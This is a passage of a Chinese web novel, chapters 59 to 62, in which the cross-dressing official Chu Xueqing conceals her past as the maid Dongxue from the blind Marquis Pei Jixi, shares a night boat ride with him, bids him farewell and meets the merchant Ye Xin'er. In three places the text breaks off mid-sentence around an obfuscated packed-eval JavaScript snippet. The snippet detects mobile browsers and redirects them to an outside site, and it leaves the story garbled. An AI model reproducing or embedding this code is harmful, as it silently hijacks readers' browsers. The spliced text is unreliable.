所以在已经没有丝毫寻人的线索之后,他换了方向,找了许多奇女子,听到那些女子的故事,就觉得会是她那样的人,一次次的失望过后,难得终于有个希望,又是特立独行,又认识侯府旧识的女子。 只是,又是空欢喜一场。 轻风的聒噪仍在继续:“怎么会呢?冬雪本来都不认识什么外面的人啊,好不容易找到了一个旧识,怎么会错了呢?对了,您看初大人,不觉得眼熟吗?” 轻风没法明说初学清和冬雪长得像,只得试探着问了出来。 杨若柳故作疑惑地皱了皱眉,喃喃道:“初大人是长得面善,可我本就认识初大人,何为眼熟呢?” 轻风抿唇不语,他怕说多了,被裴霁曦发现初学清与冬雪的关系。 裴霁曦心下慌乱,并未察觉出轻风的试探。他知道此时在这也没有什么意义,竟觉得已经没有心气在此间应酬,扑面而来的疲惫感如密布的乌云压在他的四周,找不到可以透气的方向。 他用最后的教养提起精神道:“学清,我有些不适,先回客栈了,你和杨掌柜慢聊。” 初学清专注地看着他的神色,想要从那伪装好的平静下挖掘出他真实的心绪,可又不忍就这么把他剖开,只道:“好,轻风,照顾好侯爷。” “可是侯爷,不再待会了?”轻风还是不相信,如今的杨若柳变化太大,从一个卖豆腐的寡妇到一个铺面的掌柜,从以前的唯唯诺诺到现在的端庄大方,太像受到什么人的影响了,他能想到的就是冬雪。 可裴霁曦脸上的疲惫感越来越遮不住,轻风这才赶紧扶着裴霁曦下楼。 初学清看着他们离开的背影,悬着的心终于放下了。 59. 学清:札记 裴霁曦走后,一直未开口的柴富贵问道:“那位轻风,是侯爷的小厮?” 初学清将目光从裴霁曦下楼的背影上移开,答道:“是小厮,不过早去了奴籍,如今给侯爷做事。” 柴富贵若有所思道:“怪不得小厮也能同桌而坐。” 杨若柳轻笑一下,道:“柴大哥你有所不知,定远侯和别的富贵人家不一样,他待下人好是出了名的。” 柴富贵诧异道:“定远侯?他是定远侯?他怎么瞎了?” 杨若柳这才意识到,方才并无人提及裴霁曦是什么侯爷,暗怪自己说漏了嘴,忙道:“柴大哥万莫说出去了,定远侯是我的救命恩人。” “他以前救过你?” 虽是救命之恩,但那是关于一个女子不堪的回忆,初学清想到这里,忙打了圆场:“定远侯府乐善好施,又常年镇守边疆,他救过的人,不计其数。” 杨若柳垂下头,并不想回忆当年那些乌糟。 “想不到真的有王侯世家能如此对待下人。”柴富贵叹道。 初学清此时看柴富贵,颇有些娘家人看女婿的味道,柴富贵身形健硕,一看就是常年习武,黑黝黝的方脸上五官端正,看上去倒是正气凛然的样子。 只是他似是对王侯世家有所敌意,从他问的话和表现上,似是不相信王侯世家有好人,看来也是愤世嫉俗之人。 若人品没问题,倒是配得上杨若柳。 杨若柳之前,过得太苦了。 初学清当年初来樟安,也未料到竟然能遇见杨若柳,杨若柳虽也认出了她,但也并未挑破她的身份。 现在知道初学清真实身份的人,除了桑静榆和景王,就是杨若柳了。 彼时杨若柳过得很苦,从京城回到顺州老家,娘家也容不下她一个下堂妇,她辗转来到樟安讨生活,唯一的念想就是多攒点钱,以后留给儿子。 她能吃苦,什么都做过,卖过豆腐,做过浆洗,后来又在叶馨儿的铺子做织女。 叶馨儿知道她与初学清是旧识,也多加照顾,杨若柳自己又能干,没几年就当上了掌柜。 “柴兄自己开的铺子吗?”初学清用娘家人的眼光审视着柴富贵。 柴富贵皱了皱眉,他没有把初学清当杨若柳的娘家人,他只觉那是一个当官的惯有的审问语气,便随意答是。 “可曾娶亲?” 柴富贵不解看向初学清,又看了看一旁的杨若柳,顿时明白了初学清的意思,脸腾的灼烧起来,那黝黑皮肤甚至慢慢渗出了点红色。 “未曾娶亲。” 初学清疑惑看着他,按理说他这个年纪,又能自己开得起铺子,身子也健壮,长相也尚可,她以为应是个鳏夫,未料竟没娶过亲,的确有些怪异。 “可是因为何事耽误了?” 杨若柳见初学清越问越尖锐,也跟着红了脸,但还是拿出当掌柜的八面玲珑来,笑道:“初大人这是审问犯人呢?” 初学清也跟着笑了笑,“柴兄莫见怪,只是和杨掌柜相交已久,如今她有了归宿,不免多问了几句。” 杨若柳面颊绯红,垂下眉眼,忙嗔道:“初大人胡说什么,柴大哥只是邻居而已。” 初学清挑挑眉,原来两人还未挑明,“抱歉,是初某错认了。” 柴富贵抬眼瞟了下杨若柳,见她垂着头,忙移开视线。 杨若柳深呼口气,生硬地转了话题:“叶老板打算在京城开分店了。” “是么?”初学清惊诧道,“她生意真是越做越大了。” 杨若柳偷瞄了眼一旁的柴富贵,低声道:“若没有意外,我会跟着一起去京城,这里就交给新来的掌柜。” 初学清打量了下眼前二人的神色,了然道:“你一直想去京城,这次也算得偿所愿。” 毕竟杨若柳的儿子还跟着前夫在京城。 柴富贵抬眼看着杨若柳,讷讷道:“怎么之前没听你提过?” “也没甚好提的……”杨若柳答道,“早晚要走的。” 柴富贵慌乱撇开了视线,手随意拿起桌上杯盏,将杯中的茶一饮而尽,“我还有事,先走了。” 柴富贵仓皇离开的身影,让杨若柳久久未语。 初学清叹道,“杨姐,你都有了新生活,回到京城也不一定能见到你儿子,这是何必呢?” 杨若柳眼尾泛红,压下心中酸涩,“你没生过孩子,你不懂,哪怕见不到,离得近些也好,我真的……太想我儿了……希望现在过去,不会再给他丢人了。” 初学清拍了拍她的肩膀,安慰道:“如今已不是当初了,何况,你本未做错过什么。” 杨若柳勉强挤了个笑容,“你这几年可好?” 现在她问的,不是初侍郎,而是冬雪。 初学清坦言道:“很好,做了很多不敢想的事,也不枉来这世上一遭。” “我也听说了你那些事,现在连酒楼里说书的都在说,初侍郎气宇轩昂,舌灿莲花,不卑不亢,为国争光呢!” 初学清笑笑:“太过夸大了。” “你受得起,这些个词,可没有一个夸大的。”杨若柳顿了顿,又道,“只是我一直担心你,毕竟你的身份……太不易了。” “想要自在活的女子,都不容易。”初学清举起手中杯盏,“以茶代酒,敬女子。” 杨若柳笑着,眼角却闪出了泪花。“敬女子。” 只有她们经历过这些的女子,才知道想要走出一条不一样的路,需要付出怎样的艰辛。 正饮着茶,听见楼下传来喧哗声。 杨若柳怕有闹事者,忙要下去查看,初学清也跟上了她。 只见在铺子门口,柴富贵揪起轻风的领口,在质问着什么。 杨若柳吓了一跳,忙跑上前,问道:“柴大哥,这是做何?” 初学清也跟上来问道:“轻风,发生什么了?” 柴富贵松开手,没好气道:“再是什么身份,也不能去偷翻别人账本。” 轻风焦急辩解道:“不是,我真没别的意思,只是实在寻人心切,想着我们要寻的人毕竟认识杨掌柜,怕杨掌柜把人藏起来,便来碰碰运气,看看店里这些账本或者其他物什上有没有冬雪的字迹。真的,我连冬雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285925|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前的札记都带过来了,就是为了比对字迹。” 初学清看着轻风从怀中掏出一本札记,才想起来,这是自己曾经看书时写的札记,侯府里应有许多本这样的札记。 柴富贵夺过轻风手中札记,直接上手撕了。 轻风急道:“我都说了我不是小偷,只是寻人,方才还在一起饮茶,怎么说翻脸就翻脸!” 杨若柳劝着柴富贵,她也能理解轻风的举动,毕竟自己的确在帮“冬雪”隐瞒。 有一些札记碎片不知被风吹到了何处,初学清捡起还未被吹走的札记,瞥了一眼,自己曾经的簪花小楷工工整整,和她如今利落的行书大不相同,心下稍定。 她问:“是裴兄让你来的?” 轻风使劲摇头:“当然不是,我把主子送回客栈,他心神不宁,我自己偷偷过来的,总要验证一下的。” 杨掌柜打着圆场:“都是误会,这样,今晚我做东,请大家去明月楼饮酒如何?” 轻风知道始终是自己的不是,灰溜溜道:“对不住了,杨掌柜,我们实在是找了太多年,好不容易有点线索,我不忍让主子再这么难受下去了,这才出此下策,我哪还有脸让您请吃酒。” 初学清把那残破的札记递给轻风,解围道:“那你赶紧回客栈,照料裴兄吧。” 柴富贵见杨若柳都不怪轻风了,也知自己那无名火发到了轻风身上,垂头看了看杨若柳,打了声招呼便走了。 初学清笑笑:“那就只能你我二人去酒楼一叙了。” “求之不得!”杨若柳回道。 * 初学清与杨若柳自酒楼分别,已见暮色。与旧友畅谈一日,好不痛快。 她有些微醺,沿着河边的青石板路回客栈的时候,看着眼前熟悉的小桥流水,乌篷灯影,忽而觉得释然。 她现在过得很好,去自己想去的地方,做自己想做的事,还能为这世道带来一丝改变,这是曾经的冬雪不敢想象的。 她应该代表冬雪,让裴霁曦也放下的。 凭着这股冲动,她到客栈找到了裴霁曦,开口就是邀他夜游樟安。 裴霁曦仍处于泄了气的疲惫之中,可听初学清语气这般轻快,联想到之前两人之间的尴尬,也有意重修旧好,终是被她拉了出来。 裴霁曦眼盲不便,初学清想带他游船,也未骑马,她便拉着他的衣袖,引着他一路走到乌篷船旁。 她扶着裴霁曦上了船,笑得满面含春,似是河上的涟漪,在灯火的照耀下熠熠生辉。 是仗着眼前的人看不见,便卸下了伪装。如同与心上人游船的少女,只想与他分享眼前美景。 裴霁曦虽看不见,但也能感受到初学清的心情愉悦,两人连日来的尴尬被轻风插科打诨的地揭了过去,如今又能和之前一样,他也跟着放下些今日压在头上的乌云。 只是他看不见,不然定能感受到,落在他身上的那道目光,是多么饱含情意,似是透过他这个人,将过往所有美好牢牢记住,然后,随着水面漂走的涟漪,碎在日后漫长的岁月长河之中。 记住,然后再忘记。 60. 学清:夜游 晚风如温顺的兔子,带着春日里的几许暖意,在人面颊上蹭过去。空气湿漉漉的,润过白墙青瓦,融到水面倒映的灯影之中。 初学清眼神肆无忌惮的落在裴霁曦身上,描绘过他微抿的唇,高挺的鼻梁,浓密的剑眉,又落到他寒星般的眸子上。 只是那寒星,没了光芒。 两人进入船篷,坐在一个矮桌的两旁,桌上一壶两杯,初学清拿起酒壶,向杯中倒了些酒,“裴兄,难得来了樟安,尝一尝樟安的醉烟雨,比不得烈雪的辛辣,但好在醇厚馥郁,入口回甘。” 她递过一个杯子到裴霁曦手中,两人的手指微触,裴霁曦的手温热厚实,初学清的手却有一丝冰凉,裴霁曦接过酒盏,便道:“学清可是冷了?” 初学清手上似是还残存了些裴霁曦的温度,笑了笑道:“不冷,我的手脚常年是凉的,已经习惯了。” 裴霁曦想到了冬雪,那个丫头的手也总是冷的,恍然间又想到今天杨若柳的话,不经意间长叹了口气。 一路奔波,眼盲不便,他不觉得累,可是当支撑自己走来的希望破灭的时候,他终是泄了力。 他举起手中酒盏,一饮而尽。 初学清见他饮尽,便问道:“怎样,味道如何?” 裴霁曦感受着醉烟雨顺着喉咙淌过,似是带着江南烟雨的朦胧,但又泛起了一丝甘甜,果然不似烈雪的辛辣,也让人觉得不够劲。 “味道不错,只是不够刺激。” 初学清轻笑一声,“裴兄这是喝惯了烈雪,但不要小看醉烟雨,它的后劲还是很足的,你脑中还有淤血,喝一杯尝尝鲜就好,剩下的就归我了。” 初学清也举起杯盏,手肘微晃,将酒置于鼻下闻了闻,清香绵甜,正如这江南风景,带着点朦胧的美感,温酒入喉,绵软悠长。 “我初饮时也很不适,总觉得如此清淡,不能一解愁肠,可习惯了以后,才发现,有的愁,是需要放在岁月里慢慢沉淀,让它变得醇厚、悠远,让人一提起,只道寻常。” 初学清的声音略带磁性,随着晚风飘在湿漉漉的空气中,沉在人的耳中,似是她口中的愁肠,在慢慢被河水涤荡。 “学清所愁为何?”裴霁曦问出口,便在心中自己给出了答案,初学清这样的官场清贵,自然是愁的世道不明。 初学清却给出了不一样的答案:“愁前路漫漫,却要踽踽独行。” 裴霁曦愣怔片刻,倏尔又明白了,初学清在官场特立独行,的确很少人能理解,不过,她总比自己幸运。 “学清此言差矣,虽是独行,但你身后总有人等着你。像你和初夫人这样两情相悦,又能相伴相守的,已经是大幸了。” 初学清笑笑,并未答话。 她知道自己身后有很多人支持,可她仍然觉得自己始终是一个人在走。景王是上司,苏尚书是恩师,静榆是闺蜜,她知道他们始终与她一起,她也从不设心防。 只是心里总有一块,是不肯打开的,静静关闭在那里,在每次遇到难处时,便时不时出来刺她一下,而她也不敢把这伤痕示人。 乌篷船穿过桥洞,一时遮住了外面的万千灯盏与满天星子,略暗的环境,让某些情愫不断发酵,让人醉在这扰人的情愫之中。 初学清看着暗中的裴霁曦,光影渐渐从他脸上消失,又随着走出桥洞一点点显现。可惜他看不见,第一次来江南,只能感受这人声鼎沸,好不遗憾。 “裴兄,你曾经可来过江南?” 裴霁曦摇摇头:“未曾。” 初学清看向周边的万家灯火,不禁道:“那我给你讲讲这江南美景可好?” 裴霁曦的眼眸依然无神,却倒映着点点灯光,闪着碎金般的光芒,“愿闻其详。” 初学清娓娓道来:“裴兄去过西境,但这里和西境的清河不同,清河都在城镇的外围,樟安的河却穿过了城镇,房屋都鳞次栉比建在河边,一律的白墙青瓦,如今我们正坐在乌篷船上,在宝石绿的小河上飘着。” 她边说,边向杯中斟酒,一杯一杯地独饮。 她看向船头的船夫,低声道:“我们的船夫是个头发花白的老伯,不过虽然年纪看着大了,身形却健壮的很,不比裴兄你差,瞧我们的船多稳。” 裴霁曦听着初学清郎朗的嗓音,如同细雨洒落在木板上发出的声音,浑厚中带着一丝清凉,眼前不禁就浮现了她所描绘的画面。 “现下虽然已是戌时,夜色正浓,可不似邺清那般沉寂,樟安的夜,总是透亮的。岸上的商铺都垂挂着灯盏,照得河边一片通明,连这碧绿色的河水,都倒映着千灯万盏,如我们头顶上的夜空一样,似悬挂着无数星子,耀眼极了。” 初学清边看边说,身体越来越放松,借着醉烟雨的后劲,靠在船舷上。 “河边一排垂柳,随着春风飘着。靠近河边的石板上,还有些青苔。都说柳树好成活,要我说,这青苔才顽强,柳树好歹要插柳,这青苔无人干涉,却自成一片,你说,像谁呢?” 初学清没等裴霁曦回答,又借着酒劲自言自语:“反正不像我,我一路遇到太多贵人,静榆、景王、恩师……还有你,你是我最大的贵人。” 裴霁曦沉浸在初学清所描绘的江南美景中,一时还未抽出,便被点了名,不禁笑了笑,“学清才是我的贵人。” 初学清似是被这笑容晃了眼,哑声道:“你笑得真好看。” 裴霁曦没有意识到自己竟然笑了,今日种种沉闷都压在心尖,若不是初学清,他定然是闷在客栈,兴许也会要一壶酒,可这醉烟雨太过轻柔,无法把那些沉闷赶走。 可这些沉闷就在初学清越来越慵懒的嗓音中慢慢消解,竟让他笑了起来,想来初学清定是醉了,从她说话的语调,以及这肆意的措辞看,醉烟雨的后劲果然很大。 “学清醉了吧?” 初学清晃了晃脑袋,“没有,我就是,所见皆美景,所言皆真意。我想把眼前美景都告诉你,想当你的眼睛……结果……发现你比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14294852|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些美景都美。” 裴霁曦这下确定,初学清是真的醉了。 他摸索着桌子,想要够到酒壶,不让初学清再饮了,结果初学清见他找酒,忙夺过他的杯子,笑道:“想要偷酒喝,被我发现了吧!算了,赏你一杯。” 初学清晃悠悠拿着酒壶,向他杯中倒了一杯,缓缓递给他。 裴霁曦无奈接过,只是碰到初学清的手,发现她的手已经比方才暖了一些,看来这酒还挺暖身。 初学清将手覆在他手上,一时没有松开,杯盏在两人手中晃了晃,洒出了一些,滴到初学清手上。 初学清这才松开了手,不讲究地把手背往身上蹭了蹭,完全不似她平日的作风。 “裴兄的手真暖,真暖。” 裴霁曦无奈极了,上次见初学清喝醉的时候,还没有这般无理取闹,只是拽着他的衣角哭泣,这次竟像个浪荡公子,调戏起了他。 可惜这次周围又没人帮手,他一个瞎子,可怎么回去。 他正想要让船家掉头,只听初学清又道:“裴兄,你为何一直执迷不悟呢,人找到了又怎样,她既是走了,便是不愿回来。她一定过得很好,你找她干什么呢?” 那种沉闷的感觉,又一次袭来,裴霁曦沉默不语,面对一个醉了的初学清,又能说什么呢? “她没回来,就说明她不需要你了,你应该去找需要你的人,日子还长,得给自己点别的盼头。”初学清语无伦次,却始终惦记着,自己要放下,裴霁曦也要放下,她必须劝裴霁曦停下。 “你不懂。”裴霁曦终是出声反驳,“我对不住她,她走是应该的。我只是想知道,她过得如何,有个消息也是好的。若她觉得还需要我,也许我们还能……还能……” “她不需要了……她要往前走了,你也别困在原地了,也该走了……” “你不是她,你怎知她不需要我呢?”裴霁曦对醉鬼生不起来气,可心中烦闷,还是无法纾解。 “我知道。”初学清的声音开始有些闷了,“我就是知道。你都成亲生子了,还想着以前干什么?” 裴霁曦心中讶异,这醉鬼,不仅胡言乱语,还捏造事实了,看来和她是说不清楚了。裴霁曦向船家喊着,让他掉头往回走。 初学清懵懵的,支吾道:“回去……不能回去,你要往前走,一直往前走!” “学清,看来你的酒量真不似你说的千杯不醉。”简直是一杯就醉。 乌篷船悠悠往回走着,划桨时水面的哗哗声,岸上人群的嘈杂声,伴着空气里湿润的青草味道,让江南水景在裴霁曦眼中鲜活起来。 抛开初学清醉酒的胡言乱语,今夜还是值得的,起码让他“看”到了江南美景。 只是太遗憾,这美景不能与冬雪共赏。 就像卧佛晚霞,如斯美景,一直说要与卿共赏,可真正共赏的时候,已经生了龃龉,算不得“赏”了。 不知他还有没有机会,带想要的人,来赏此美景。 61. 学清:告别 船行至来处靠岸,初学清还在说着让裴霁曦往前走。 裴霁曦向前摸索着,摸到初学清的臂膀,拉起她,扶着她低头钻出半圆形的船蓬,直起身子,没想到,他一个瞎子,还要扶起一个醉鬼。 一出船篷,扑面的晚风带着一丝清凉,吹散了醉烟雨的酒香,初学清有一瞬的清明。那些借着醉意脱口而出的话语,仿佛一句句踏在她的心上,那些压抑许久的思念、抱怨与愁绪,都在这江南的夜里流淌出来。 裴霁曦的手,就架在她的腋下,扶着她往前走。 她有些恍神,这是哪呢,怎么两人又开始并行了呢,不是已经离开他了吗? 是上天垂帘吧,她孤独太久,给她送来一场温梦,让她能找个怀抱,歇一歇。 她捉住身侧的手,转了个方向,面对着裴霁曦,紧紧拥上去。 用力,把自己嵌进这个怀抱,狠狠吸着他身上的味道。 还是那遥远的松木清香,仿佛又让她回到北境,看到了初雪覆盖着的挺拔松木,成片成片地窝在绵延的阴山山脉,苍茫悠远,静默不语。 太想他了,想到又控制不住,哭了起来,她的手紧紧攥着他后背的衣衫,用力拥着。 裴霁曦一时怔住了,已经太久没有被人这么抱住了,他都已经忘记上次是何时拥抱了,但只知道那个人一定是冬雪。 被抱住的一刹那,脑中就闪过冬雪在他怀里的画面,她身上会带着一丝凉意,钻进他的怀里,她的手不会抱的这么紧,总是犹犹豫豫,缓缓地环住他。 她也不会在他怀中肆意哭泣,只会闷闷的,说几句不相干的话,藏住自己的情绪。 只是每次,都会扰乱他的心跳,他的心脏如同疾行的马,就要冲破身体,跳下悬崖。 有一瞬的恍神,心跳也如那般快了起来,仿佛是被冬雪扑了进来一般。 只是醒神的时候,知道自己被一个男人这般拥抱,心跳才渐渐放缓。 他长叹口气,万分庆幸自己此时是瞎的,不用看见别人诧异的眼光。 “学清,你醉得厉害。” 这声“学清”,叫回了初学清混沌的思绪,她仿佛知道今夕何夕,也知道他非他,她也非她了。 可人已经在他怀里了,怎么喝了几杯酒,就泄露了真心呢。 初学清仿佛知道自己闯祸了,又有点贪恋这个怀抱,半晌,自作聪明地喊了句:“静榆……” 裴霁曦哑然失笑,这是把他当夫人了,他用了点力气,缓缓扯开身上缠着的手,无奈道:“该醒醒了。” 初学清怔然,任他扯开自己的手。 是该醒醒了。 * 晨光熹微的时候,初学清从醉梦中清醒过来。 和上次酒醉不同,这次她清楚地记着昨夜发生的一切,甚至恍然间觉得,自己身上也有了松木清香。 是在那个怀抱里沾上的吧。 她洗漱完出去,看见裴霁曦和轻风正在大堂用早膳。 轻风一见她来,聒噪道:“初大人,您昨夜怎的不叫我,就把我家侯爷拐出去了?要不是我听老板说了你们去游船,专门在那等着,您可让我们侯爷怎么把一个醉鬼带回来啊?” 初学清想起昨夜下船时,轻风已经在岸上等候多时,轻风本欲背她回,她借着酒劲非要裴霁曦背她,最后只得裴霁曦背着她,轻风引着路,一路回到客栈。 她装着什么也不记得的样子,坐到裴霁曦对面,道:“昨夜兴之所至,就拉着裴兄出去游船了,只是后来发生了什么,怎么都想不起了。” 轻风叽里咕噜把昨夜怎么回来的又念叨了一遍,末了不忘说:“初大人,您醉酒后真是判若两人啊,扒到我们侯爷身上就不下来了,我说我背您吧,您还哭开了。我们侯爷眼睛又看不见,背着您一步步上台阶,真是难为他了。” “好了。”裴霁曦打断轻风的絮叨,“你喝多的时候也不比学清好到哪去。” 初学清赧然一笑,“真是劳烦你们了,我一般没这么容易醉,许是太久没喝江南的酒了……” “恩,醉烟雨后劲的确大。”裴霁曦附和着。 可初学清从他的附和里听出一丝调侃——上次在勐城,也是这么容易就醉的。 初学清尴尬转了话题:“裴兄之后有什么打算呢?” 既已知道了叶馨儿不是他要找的人,似乎他在樟安也没什么意义了。 这也是初学清昨夜冲动想要和他一起游船的原因之一,如此,也算好好告别一番。 裴霁曦思量半晌才答:“还是等一等,再回邺清。” 等叶馨儿回来了,确定她不是自己要找的人,才能真正死心。 初学清沉默地用着早膳,轻风偶尔念叨的声音也进不去她的耳中,她记得昨夜一直在劝裴霁曦向前走,看来她的劝慰并没有什么作用。 他们刚用完饭,初学清便听到一声轻唤:“初大人。” 初学清一抬头,看见客栈门口伫立的人,她一身绛紫蹙金海棠长裙,衬得她肤色很白,盈盈杏眼微微含笑,樱红嘴唇微弯,比初学清前几年见她的时候,似是长开了般,添了几分艳丽,少了几分稚嫩。 是许久不见的叶馨儿。 她款款走来,行了一礼,朗声笑道:“紧赶慢赶,还是赶在了大人后面,昨夜我才回来,怕打扰到大人,今儿一早赶紧来拜访您,怕耽误了您的正事。” 初学清起身迎她,“叶老板还亲自来了,真是要替大宁百姓感谢你的慷慨。” “初大人这样就把帽子扣下来了,我不答应都不行了。”叶馨儿看向初学清身后,问道,“桑姐姐没来么?” “家中有事,她先行回京了。”初学清又为叶馨儿介绍,“这二位是我的朋友,裴公子,轻公子。” 裴霁曦一直默默听着他们的声音,越听,心越往下沉。 不一样的声音,不一样的语气,验证了杨氏的说法,果真不是一人。 “见过二位公子。”叶馨儿落落大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14304597|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方,没有一点闺阁女子的娇羞。 裴霁曦和轻风起身还了礼,裴霁曦面无表情,轻风来回打量着叶馨儿。 “真的不是啊。”轻风没忍住说出了口,又低声问裴霁曦,“那咱们还待在樟安吗?” 裴霁曦垂首片刻,再抬头时,嘴角带了抹淡笑,只是那笑容极勉强,他缓声道:“学清,我们此间事已了,今日便启程回邺清了,你公务要紧,先去忙吧。” 初学清愣了愣,“今日便回?” “是,此一别,不知何时,才能与学清继续把酒言欢。”裴霁曦的语气夹杂这一些遗憾。 初学清沉默片刻,不知如何回应。这就是告别了?没有十里相送,没有依依不舍,就这样轻飘飘一句话,下次见面,不知何时,或者,没有下次。 两人行路都如履薄冰,此番一别,焉知不是生离死别? 可也只能这样。 初学清缓过神来,淡淡一笑,“好,那……裴兄多多保重,就此别过。” 她这次离京,走了太远的路,但有信念撑着,一直都绷着神经,此刻方觉疲惫,有东西沉沉地压在心上,让她不得舒展。 她没有着急和叶馨儿走,而是看着轻风拿下收拾好的行囊,引着裴霁曦上了马车,她端着笑容,送别裴霁曦。 只像是送别一个普通的好友,她面上挂着端方的笑容,眸中是惜别知己的遗憾,口中说着后会有期这种常见的送别词。 只有她自己知道,她在道别什么。 若没有那段漫长当丫鬟的岁月,也不会有如今的初学清。她有幸得裴霁曦的栽培,试过错,知道哪条路不适合自己。也是在那段岁月,知道了真正需要改变的,不是一个横空出世的将军,而是底层人们脑中的观念。 如今,一切都在向着她想要的方向行进,她相信,早晚有一天,不会有女子因受辱而无法存活在这世上,不会用名节捆绑住女子的姓名。 不会有因被人掳走就被夫君休弃的杨若柳,不会有宁愿自戕也不愿被俘的明履营士兵。 只是,那段岁月里最重要的那道身影,如今切实站在自己面前的人,终将又变成一道远离的背影。 裴霁曦听着周围喧嚣,那空落落的心渐渐沉了下去。他没忘端起笑容,循着初学清声音的方向与她道别。 好在这一路得至交陪伴,有幸“见”到江南美景,也算不虚此行。至于他要寻的,这么多次的怀抱希望又变成失望,他早已习惯。 直到马车消失在鼎沸人群之中,初学清才装作若无其事的样子,随叶馨儿离开。 叶馨儿带她到各个作坊都看了看,讲述了下预备让哪些人去外邦,也说了具体的传授计划。 初学清被离愁占满的心绪,渐渐被眼前的景象充盈。看大伙都如火如荼地干着,有胆子大的还跟她说要第一个去外邦,好让蛮夷见识见识中土文明。 初学清疲惫的心似乎慢慢被填满了,纵是继续踽踽独行,她已不是从前的她,她已无所畏惧。 62. 学清:商人 初学清参观完毕,叶馨儿请她到作坊内的一间书房议事。 作坊内书房简陋,一桌一椅,一旁还摆了两个客人用的八仙椅。书案上放着笔墨纸砚,还有几本账册。 她们便在这简陋的书房商议了许久,对织女和工匠的传授技法章程也做了规划。 桑静榆脑中有自己的想法,如何安排,怎样传授,都有条不紊娓娓道来,与初学清商议后,落笔于纸上。 初学清原以为技艺作为手工业的核心,很难说服一个商人为了国家大义贡献出来,她不禁感叹道:“原本给你寄信时,没想到你能这么痛快答应,未料你的回信那么快,连讨价还价都没有,还以为当初那个小丫头在商场浸淫几年,会变的市侩一些,可你一点都没变。不过,这些人走了以后,你这里人手不足了怎么办?” “再慢慢找吧。”叶馨儿笑笑收好手札,递给初学清,“不过,初大人有一句说错了,我可不是小丫头了,我都快要到二十岁了。” 初学清愣怔一下,未料时光这么快,初识叶馨儿的时候,她才及笄,一晃五年过去了。 那时叶父是樟安首屈一指的富商,原配早逝,只留了叶馨儿一个女儿,续弦也只生了一个女儿。初学清初任樟安知府,实施政策的时候,叶父给了很大帮助,带头支持初学清。 只是叶父出了意外身亡,家中只有继室与两个孤女,族中的人为了争家产,纷纷劝说他的继室过继个儿子。 本来都是叶家家务事,初学清不该插手,但叶父临终前不放心孤儿寡母,给初学清留了封信,拖她照顾孤儿寡母,并要他的长女叶馨儿接手家产。 初学清便出面帮叶馨儿拿回了家产。 叶馨儿也不负叶父所托,因着她自小跟着叶父走南闯北,也练就了八面玲珑的性子,就这样一个孤女撑起了偌大的家业。 到后来,她还担任了樟安商会的会长。 自然会有一些风言风语,甚至有人传过她背后的靠山就是初学清,桃色传闻总比正经的东西传得快。 不过初学清一直和桑静榆伉俪情深,也是出了名的,这些传闻就在桑静榆正主的否认下不攻自破。 而他们也的确让樟安的商业振兴,成了南北交易的重要枢纽,甚至隐隐传出“商都”的称号。 如今一晃叶馨儿已年近二十,初学清不禁叹道:“白驹过隙,岁月如流,还好初心都在。” “初大人。”叶馨儿看向她,弯了弯唇角,声音清脆响亮,不似江南女子的婉转,“一般人听闻我的年龄,都会感叹我为何还不嫁人,只有您,在叹我的初心未改。” 初学清摇摇头:“世人看女子,多看家世、姻缘,可我看女子,只看她品性、作为,只是……二十若不婚配,就要官媒出面了。” 叶馨儿垂下眸子,眼神中一闪而过的凄凉,余光中是初学清一身青衫落拓:“我名声不好,寻上门的姻缘,多是看重我家家产,我总觉得,若寻不到自己想要的姻缘,不如就自己过,大不了缴些罚金。” 初学清感叹道:“不知何时,女子才有选择的自由。” 叶馨儿抬起眸子,“好羡慕桑姐姐,能找到初大人这样的如意郎君。见过你们那样的感情,我实在不想随便找个人成婚。” “是,总要找个合心意的,听闻你不日即将入京,届时为你介绍些青年才俊。”初学清揶揄道。 叶馨儿噗嗤一笑,“那可得像初大人一样一表人才,不然,我可不去见。” “定要比我强的,才配得上你。”初学清笑着道。 两人边说边往外走,初学清又对叶馨儿的鼎力相助多番感谢。 叶馨儿身边的丫鬟见初学清这般言笑晏晏,便也插嘴道:“初大人,也就是我们家小姐仁义,这些工匠织女才能让去哪就去哪的,这要是换做周老板家,肯定谁也不听他的。” 叶馨儿让丫鬟莫要多嘴,初学清却不介意,还让她接着说。 小丫鬟便接着道:“周老板对下人极为苛刻,动辄打骂。前一阵,他儿子要收个通房丫鬟,哪知那丫鬟已与他家小厮私定了终身,周老板竟然将那小厮活活打死了,那丫鬟也为了小厮殉情了。” 初学清知道周老板,他也是樟安商会一员,曾经叶馨儿当上会长之前,没少被他找麻烦,可以前也算守规矩,未料如今竟然如此无法无天,初学清正色问道:“那知府也不管吗?” “现在的知府哪比得上您在那会儿,要不然把我家小姐都逼走樟安了呢!” 